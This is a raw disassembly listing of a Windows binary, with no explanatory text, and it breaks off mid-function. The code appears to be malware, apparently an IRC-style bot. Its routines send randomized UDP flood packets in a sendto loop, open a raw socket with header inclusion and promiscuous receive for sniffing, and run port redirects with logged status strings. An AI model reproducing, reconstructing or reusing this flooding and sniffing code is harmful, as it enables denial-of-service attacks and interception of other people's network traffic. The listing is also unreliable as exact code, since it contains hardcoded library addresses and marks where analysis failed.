; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_428810	proc near		; CODE XREF: sub_401DCFj

arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		mov	eax, [esp+arg_0]
		push	esi
		push	eax
		call	sub_40188E
		mov	esi, eax
		nop
		call	near ptr 77C371D3h
		and	eax, 800001FFh
		jns	short loc_428831
		dec	eax
		or	eax, 0FFFFFE00h
		inc	eax


loc_428831:				; CODE XREF: sub_428810+18j
		mov	ecx, [esp+4+arg_10]
		mov	edx, [esp+4+arg_C]
		push	ecx
		mov	ecx, [esp+8+arg_8]
		lea	eax, [eax+esi+100h]
		push	edx
		push	ecx
		push	eax
		push	esi
		call	sub_401BC7
sub_428810	endp

; ---------------------------------------------------------------------------
		add	esp, 18h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428880	proc near		; CODE XREF: sub_40178Fj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_428880
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F9B
		push	offset aUdp	; "udp"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F11C
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_428880	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4288F0	proc near		; CODE XREF: ___:004014F6j sub_40224Dj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401159
		test	[esp+4+arg_0], 1
		jz	short loc_428908
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_428908:				; CODE XREF: sub_4288F0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_4288F0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_428920	proc near		; CODE XREF: sub_401159j
		jmp	sub_4014CE
sub_428920	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428940	proc near		; CODE XREF: sub_401A14j

var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_428940
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+54h]
		mov	ecx, [esi+60h]
		mov	edx, [esi+5Ch]
		push	eax
		mov	eax, [esi+58h]
		lea	edi, [esi+3Bh]
		push	ecx
		push	edx
		push	eax
		mov	ecx, edi
		lea	ebx, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		push	offset aSSUUtUbDms ; "%s: %s:%u	(%ut/%ub/%dms)"
		mov	ecx, ebp
		call	sub_4014DD
		mov	cl, [esi+90h]
		mov	dl, [esi+8Fh]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 2Ch
		lea	ecx, [esp+34h+var_24]
		call	sub_40142E
		mov	eax, [esi+58h]
		mov	ecx, [esi+54h]
		mov	edx, [esi+60h]
		push	eax
		mov	eax, [esi+5Ch]
		push	ecx
		push	edx
		push	eax
		mov	ecx, edi
		mov	[esp+44h+var_4], 0
		call	sub_4014DD
		push	eax
		call	sub_40173A
		add	esp, 14h
		test	eax, eax
		jz	short loc_428A0E
		mov	ecx, [esi+5Ch]
		mov	edx, [esi+58h]
		push	ecx
		push	edx
		mov	ecx, edi
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		lea	eax, [esp+44h+var_24]
		push	offset aSSDDone	; "%s: %s:%d done"
		push	eax
		call	sub_40102D
		add	esp, 18h


loc_428A0E:				; CODE XREF: sub_428940+A2j
		lea	ecx, [esp+34h+var_24]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4014DD
		mov	cl, [esi+90h]
		mov	dl, [esi+8Fh]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 14h
		lea	ecx, [esp+34h+var_24]
		mov	[esp+34h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 24h
		retn
sub_428940	endp

; ---------------------------------------------------------------------------
		db 90h
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428AB0	proc near		; CODE XREF: sub_40173Aj

var_36		= word ptr -36h
var_18		= byte ptr -18h
var_16		= word ptr -16h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_FFBC	= dword	ptr  0FFC0h
arg_FFCC	= dword	ptr  0FFD0h
arg_FFDC	= dword	ptr  0FFE0h
arg_FFE0	= dword	ptr  0FFE4h
arg_FFE4	= dword	ptr  0FFE8h
arg_FFE8	= dword	ptr  0FFECh
arg_FFEC	= dword	ptr  0FFF0h

		mov	eax, 0FFF0h
		call	sub_437B30
		push	esi
		push	11h
		push	2
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, [esp+10h+arg_FFE4]
		mov	[esp+10h+arg_0], eax
		xor	eax, eax
		push	esi
		mov	[esp+14h+var_C], eax
		mov	word ptr [esp+14h+var_C], 2
		mov	[esp+14h+var_8], eax
		mov	[esp+14h+var_4], eax
		mov	[esp+14h], eax
		nop
		call	near ptr 71AB2BF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_428B11
		push	esi
		nop
		call	near ptr 71AB4FD4h
		test	eax, eax
		jnz	short loc_428B0A
		pop	esi
		add	esp, 0FFF0h
		retn
; ---------------------------------------------------------------------------


loc_428B0A:				; CODE XREF: sub_428AB0+50j
		mov	ecx, [eax+0Ch]
		mov	edx, [ecx]
		mov	eax, [edx]


loc_428B11:				; CODE XREF: sub_428AB0+45j
		mov	esi, [esp+18h+arg_FFEC]
		push	ebx
		mov	ebx, dword_511AC8
		push	ebp
		test	esi, esi
		mov	[esp+20h+var_10], eax
		push	edi
		jnz	short loc_428B4D
		call	ebx	; rand
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		nop
		call	near ptr 71AB2B66h
		mov	[esp+28h+var_16], ax
		mov	[esp+28h+arg_FFE8], 1
		jmp	short loc_428B7E
; ---------------------------------------------------------------------------


loc_428B4D:				; CODE XREF: sub_428AB0+77j
		push	esi
		nop
		call	near ptr 71AB2B66h
		cmp	esi, 1
		mov	[esp+28h+var_16], ax
		jge	short loc_428B6B
		mov	[esp+28h+arg_FFE8], 1
		jmp	short loc_428B7E
; ---------------------------------------------------------------------------


loc_428B6B:				; CODE XREF: sub_428AB0+ACj
		cmp	esi, 0FFFFh
		jle	short loc_428B7E
		mov	[esp+28h+arg_FFE8], 0FFFFh


loc_428B7E:				; CODE XREF: sub_428AB0+9Bj
					; sub_428AB0+B9j ...
		mov	eax, [esp+28h+arg_FFE4]
		test	eax, eax
		jnz	short loc_428B94
		mov	[esp+28h+arg_FFE4], 1


loc_428B94:				; CODE XREF: sub_428AB0+D7j
		mov	ecx, [esp+28h+arg_FFDC]
		mov	eax, 66666667h
		imul	ecx
		mov	edi, [esp+28h+arg_FFE0]
		xor	esi, esi
		sar	edx, 2
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		test	edi, edi
		mov	ebp, edx
		jle	short loc_428BCE


loc_428BBB:				; CODE XREF: sub_428AB0+11Cj
		call	ebx	; rand
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		inc	esi
		cmp	esi, edi
		mov	byte ptr [esp+esi+28h+var_8+3],	dl
		jl	short loc_428BBB


loc_428BCE:				; CODE XREF: sub_428AB0+109j
		mov	edx, ebp
		dec	ebp
		test	edx, edx
		mov	[esp+28h+arg_FFDC], ebp
		jle	loc_428C60
		mov	ebp, dword_511C68


loc_428BE6:				; CODE XREF: sub_428AB0+1AEj
		mov	al, byte_4D84C9
		test	al, al
		jz	short loc_428C60
		mov	esi, 0Bh


loc_428BF4:				; CODE XREF: sub_428AB0+177j
		lea	eax, [esp+28h+var_18]
		push	10h
		push	eax
		push	0
		call	ebx	; rand
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		mov	eax, edi
		lea	ecx, [esp+34h+var_4]
		sub	eax, edx
		mov	edx, [esp+34h+var_8]
		push	eax
		push	ecx
		push	edx
		call	ebp	; sendto
		mov	eax, [esp+40h+arg_FFCC]
		push	eax
		nop
		call	near ptr 2830000h
		dec	esi
		jnz	short loc_428BF4
		mov	eax, [esp+44h+arg_FFCC]
		test	eax, eax
		jnz	short loc_428C4B
		call	ebx	; rand
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		nop
		call	near ptr 71AB2B66h
		mov	[esp+48h+var_36], ax


loc_428C4B:				; CODE XREF: sub_428AB0+182j
		mov	eax, [esp+48h+arg_FFBC]
		mov	edx, eax
		dec	eax
		test	edx, edx
		mov	[esp+48h+arg_FFBC], eax
		jg	short loc_428BE6


loc_428C60:				; CODE XREF: sub_428AB0+12Aj
					; sub_428AB0+13Dj
		pop	edi
		pop	ebp
		pop	ebx
		mov	eax, 1
		pop	esi
		add	esp, 0FFF0h
		retn
sub_428AB0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428CE0	proc near		; CODE XREF: sub_40209Aj

var_10		= word ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		push	ebx
		mov	ebx, [esp+14h+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+1Ch+arg_0]
		lea	eax, [ebx-14h]
		push	eax
		lea	ecx, [edi+28h]
		push	ecx
		call	sub_401A37
		mov	edx, [edi+10h]
		add	esp, 8
		mov	[edi+0Ah], ax
		mov	[esp+1Ch+var_10], 2
		push	1
		push	0
		push	0
		push	0FFh
		push	3
		push	2
		mov	[esp+34h+var_C], edx
		mov	[esp+34h+arg_4], 1
		nop
		call	near ptr 71AB8769h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_428D3D
		pop	edi
		pop	esi
		or	eax, eax
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_428D3D:				; CODE XREF: sub_428CE0+52j
		lea	eax, [esp+1Ch+arg_4]
		push	4
		push	eax
		push	2
		push	0
		push	esi
		nop
		call	near ptr 71AB3EA1h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_428D5D
		pop	edi
		pop	esi
		or	eax, eax
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_428D5D:				; CODE XREF: sub_428CE0+72j
		lea	ecx, [esp+1Ch+var_10]
		push	10h
		push	ecx
		push	0
		push	ebx
		push	edi
		push	esi
		call	near ptr 71AB2C69h
		nop
		push	esi
		mov	edi, eax
		nop
		call	near ptr 71AB9639h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 10h
		retn
sub_428CE0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428DC0	proc near		; CODE XREF: sub_401DB1j

var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_28		= dword	ptr -28h
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_10		= word ptr  14h
arg_12		= word ptr  16h
arg_14		= dword	ptr  18h
arg_1C		= byte ptr  20h
arg_24		= byte ptr  28h
arg_25		= byte ptr  29h
arg_B8		= byte ptr  0BCh
arg_C1		= byte ptr  0C5h
arg_C4		= dword	ptr  0C8h
arg_C8		= dword	ptr  0CCh
arg_100C8	= dword	ptr  100CCh
arg_100D8	= dword	ptr  100DCh
arg_10128	= dword	ptr  1012Ch
arg_1012C	= dword	ptr  10130h
arg_10130	= dword	ptr  10134h

		mov	eax, 10128h
		call	sub_437B30
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ecx, 3Fh
		xor	eax, eax
		lea	edi, [esp+10h+arg_25]
		mov	[esp+10h+arg_24], 0
		rep stosd
		stosw
		mov	eax, [esp+10h+arg_10128]
		push	eax
		call	sub_40188E
		mov	ecx, [esp+14h+arg_1012C]
		mov	[esp+14h+arg_4], eax
		push	ecx
		call	sub_40188E
		mov	edi, [esp+18h+arg_10130]
		add	esp, 8
		xor	ebx, ebx
		mov	[esp+10h+arg_0], eax
		mov	[esp+10h+arg_10], 2
		mov	[esp+10h+arg_12], bx
		mov	[esp+10h+arg_14], ebx
		mov	esi, offset byte_448F40
		mov	eax, edi


loc_428E27:				; CODE XREF: sub_428DC0+85j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_428E4B
		test	cl, cl
		jz	short loc_428E47
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_428E4B
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428E27


loc_428E47:				; CODE XREF: sub_428DC0+71j
		xor	eax, eax
		jmp	short loc_428E50
; ---------------------------------------------------------------------------


loc_428E4B:				; CODE XREF: sub_428DC0+6Dj
					; sub_428DC0+7Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_428E50:				; CODE XREF: sub_428DC0+89j
		cmp	eax, ebx
		jnz	short loc_428EA3
		mov	ebp, dword_4D80D7
		cmp	ebp, ebx
		mov	[esp+10h], ebp
		jz	short loc_428E67
		cmp	ebp, 0FFFFFFFFh
		jnz	short loc_428EAE


loc_428E67:				; CODE XREF: sub_428DC0+A0j
		lea	eax, [esp+10h+arg_24]
		push	0FFh
		push	eax
		call	near ptr 71AB50C8h
		nop
		lea	ecx, [esp+18h+arg_1C]
		push	ecx
		call	near ptr 71AB4FD4h
		nop
		movsx	ecx, word ptr [eax+0Ah]
		mov	edx, [eax+0Ch]
		mov	eax, ecx
		lea	edi, [esp+1Ch+var_C]
		mov	esi, [edx]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ebp, [esp+1Ch+var_C]
		jmp	short loc_428EAE
; ---------------------------------------------------------------------------


loc_428EA3:				; CODE XREF: sub_428DC0+92j
		push	edi
		call	sub_40188E
		add	esp, 4
		mov	ebp, eax


loc_428EAE:				; CODE XREF: sub_428DC0+A5j
					; sub_428DC0+E1j
		cmp	ebp, ebx
		jz	short loc_428EB7
		cmp	ebp, 0FFFFFFFFh
		jnz	short loc_428EBD


loc_428EB7:				; CODE XREF: sub_428DC0+F0j
		mov	ebp, dword_4D80D7


loc_428EBD:				; CODE XREF: sub_428DC0+F5j
		mov	edi, 1
		mov	[esp+10h+arg_14], ebp
		push	edi
		push	ebx
		push	ebx
		push	ebx
		push	3
		push	2
		mov	[esp+28h+arg_8], edi
		call	near ptr 71AB8769h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_428FFD
		lea	ecx, [esp+28h+var_C]
		push	4
		push	ecx
		push	2
		push	ebx
		push	esi
		call	near ptr 71AB3EA1h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	loc_428FFD
		lea	edx, [esp+3Ch+var_18]
		push	10h
		push	edx
		push	esi
		nop
		call	near ptr 71AB3E00h
		cmp	eax, 0FFFFFFFFh
		jz	loc_428FFD
		push	ebx
		lea	eax, [esp+4Ch+var_14]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	ecx, [esp+5Ch+var_28]
		push	4
		push	ecx
		push	98000001h
		push	esi
		mov	[esp+6Ch+var_28], edi
		nop
		call	near ptr 71AB4489h
		cmp	eax, 0FFFFFFFFh
		jz	loc_428FFD
		mov	edx, [esp+6Ch+arg_100D8]
		cmp	byte ptr [edx],	0
		jz	loc_428FE3
		mov	ebx, dword_511CA4


loc_428F53:				; CODE XREF: sub_428DC0+21Dj
		mov	ecx, 3FFFh
		xor	eax, eax
		lea	edi, [esp+6Ch+arg_C8]
		push	0
		rep stosd
		stosw
		stosb
		lea	eax, [esp+70h+arg_C8]
		push	0FFFFh
		push	eax
		push	esi
		call	ebx	; recv
		cmp	[esp+7Ch+arg_C1], 2Fh
		jnz	short loc_428FD3
		mov	ecx, [esp+7Ch+arg_C4]
		mov	edx, [esp+7Ch+var_64]
		cmp	ecx, edx
		jnz	short loc_428FAE
		mov	ecx, [esp+7Ch+var_68]
		lea	edx, [esp+7Ch+arg_B8]
		push	eax
		mov	[esp+80h+arg_C4], ebp
		mov	[esp+80h+arg_C8], ecx
		push	edx
		jmp	short loc_428FCB
; ---------------------------------------------------------------------------


loc_428FAE:				; CODE XREF: sub_428DC0+1CFj
		cmp	ecx, [esp+7Ch+var_68]
		jnz	short loc_428FD3
		push	eax
		lea	eax, [esp+80h+arg_B8]
		mov	[esp+80h+arg_C4], ebp
		mov	[esp+80h+arg_C8], edx
		push	eax


loc_428FCB:				; CODE XREF: sub_428DC0+1ECj
		call	sub_40209A
		add	esp, 8


loc_428FD3:				; CODE XREF: sub_428DC0+1C0j
					; sub_428DC0+1F2j
		mov	ecx, [esp+7Ch+arg_100C8]
		cmp	byte ptr [ecx],	0
		jnz	loc_428F53


loc_428FE3:				; CODE XREF: sub_428DC0+187j
		mov	edx, dword_511A90
		add	edx, 20h
		push	edx
		nop
		call	near ptr 77C3EEF6h
		add	esp, 4
		push	esi
		call	near ptr 71AB9639h
		nop


loc_428FFD:				; CODE XREF: sub_428DC0+11Dj
					; sub_428DC0+137j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10128h
		retn
sub_428DC0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4290B0	proc near		; CODE XREF: sub_401898j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4290B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401FA0
		push	offset off_446F04
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F12C
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4290B0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429120	proc near		; CODE XREF: sub_401FA0j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_429120
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E88
		lea	ecx, [esi+11h]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+43h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40142E
		lea	ecx, [esi+58h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_40142E
		lea	ecx, [esi+6Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_40142E
		lea	ecx, [esi+82h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F13C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_429120	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4291E0	proc near		; CODE XREF: sub_4017A8j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4291E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43F13C
		lea	ecx, [esi+82h]
		mov	[esp+14h+var_4], 5
		call	sub_401226
		lea	ecx, [esi+6Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+58h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+43h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+11h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_40204F
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4291E0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4292B0:				; CODE XREF: ___:00401A23j
					; ___:loc_402086j
		push	esi
		mov	esi, ecx
		call	sub_4017A8
		test	byte ptr [esp+8], 1
		jz	short loc_4292C8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_4292C8:				; CODE XREF: ___:004292BDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4292E0	proc near		; CODE XREF: ___:00401096j sub_401C3Fj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4015FF
		test	[esp+4+arg_0], 1
		jz	short loc_4292F8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_4292F8:				; CODE XREF: sub_4292E0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_4292E0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_429310	proc near		; CODE XREF: sub_4015FFj
		jmp	sub_4017A8
sub_429310	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429330	proc near		; CODE XREF: sub_4015B9j
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		lea	edi, [esi+82h]
		lea	ebx, [esi+58h]
		mov	ecx, edi
		lea	ebp, [esi+6Dh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4017EE
		push	eax
		push	offset aSStartedRedire ; "[%s] Started redirect	from \"%s\" to \"%s\""...
		lea	ecx, [esi+26h]
		call	sub_4014DD
		mov	cl, [esi+97h]
		push	eax
		mov	al, [esi+98h]
		push	eax
		push	ecx
		push	offset byte_4D8085
		call	sub_401857
		mov	edx, [esi+99h]
		add	esp, 24h
		add	edx, 11Ch
		mov	ecx, edi
		push	edx
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		call	sub_401DB1
		add	esp, 10h
		mov	ecx, edi
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4017EE
		push	eax
		push	offset aSFinishedRedir ; "[%s] Finished	redirect from \"%s\" to	\"%s"...
		lea	ecx, [esi+26h]
		call	sub_4014DD
		mov	cl, [esi+97h]
		push	eax
		mov	al, [esi+98h]
		push	eax
		push	ecx
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 24h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_429330	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429450	proc near		; CODE XREF: sub_401893j

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_429450
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	esi
		mov	esi, ecx
		mov	[esp+2Ch+var_28], esi
		call	sub_401FA0
		lea	ecx, [esi+0A1h]
		mov	[esp+2Ch+var_4], 0
		call	sub_40142E
		push	0
		push	2Ah
		push	2Eh
		push	2Eh
		lea	eax, [esp+3Ch+var_24]
		push	22h
		push	eax
		mov	byte ptr [esp+44h+var_4], 1
		mov	dword ptr [esi], offset	off_43F14C
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+var_4], 2
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4015E1
		lea	ecx, [esp+2Ch+var_24]
		mov	byte ptr [esp+2Ch+var_4], 1
		call	sub_401226
		mov	ecx, [esp+2Ch+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 28h
		retn
sub_429450	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429510	proc near		; CODE XREF: ___:00401E2Ej sub_4021D5j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401BE5
		test	[esp+4+arg_0], 1
		jz	short loc_429528
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_429528:				; CODE XREF: sub_429510+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_429510	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429540	proc near		; CODE XREF: sub_401BE5j
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, dword_511C9C
		mov	eax, [esi+0BFh]
		mov	dword ptr [esi], offset	off_43F14C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42955E
		push	eax
		call	edi	; closesocket


loc_42955E:				; CODE XREF: sub_429540+19j
		mov	eax, [esi+0BBh]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42956C
		push	eax
		call	edi	; closesocket


loc_42956C:				; CODE XREF: sub_429540+27j
		lea	ecx, [esi+0A1h]
		call	sub_401226
		mov	ecx, esi
		call	sub_4017A8
		pop	edi
		pop	esi
		retn
sub_429540	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4295B0:				; CODE XREF: ___:loc_401D3Ej
		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_43CDB2
		push	eax
		mov	eax, 5488h
		mov	large fs:0, esp
		call	sub_437B30
		push	ebx
		push	ebp
		push	esi
		mov	ebp, ecx
		or	esi, 0FFFFFFFFh
		push	edi
		mov	[ebp+0BFh], esi
		mov	byte ptr [esp+11h], 0
		mov	byte ptr [esp+12h], 0


loc_4295E8:				; CODE XREF: ___:0042A576j
		lea	ecx, [esp+0B8h]
		call	sub_401B4A
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+54A0h], 0
		mov	byte ptr [esp+13h], 0
		call	sub_40142E
		mov	ecx, [ebp+0BBh]
		push	0
		lea	eax, [esp+398h]
		push	104h
		push	eax
		push	ecx
		mov	byte ptr [esp+54B0h], 1
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_42A600
		lea	edx, [esp+394h]
		lea	ecx, [esp+30h]
		push	edx
		call	sub_401870
		push	offset byte_448F40
		lea	ecx, [esp+34h]
		mov	byte ptr [esp+54A4h], 2
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_4296A0
		lea	ecx, [esp+30h]
		mov	byte ptr [esp+54A0h], 1
		call	sub_401226
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+54A0h], 0
		call	sub_401226
		lea	ecx, [esp+0B8h]
		mov	[esp+54A0h], esi
		call	sub_4014BA
		jmp	loc_42A570
; ---------------------------------------------------------------------------


loc_4296A0:				; CODE XREF: ___:00429664j
		push	offset asc_444600 ; " "
		lea	eax, [esp+234h]
		push	0
		push	eax
		lea	ecx, [esp+3Ch]
		call	sub_4016B8
		push	offset off_44721C
		mov	ecx, eax
		mov	byte ptr [esp+54A4h], 3
		call	sub_40150A
		test	eax, eax
		lea	ecx, [esp+230h]
		mov	byte ptr [esp+54A0h], 2
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_429765
		push	offset asc_444600 ; " "
		lea	ecx, [esp+21Ch]
		push	1
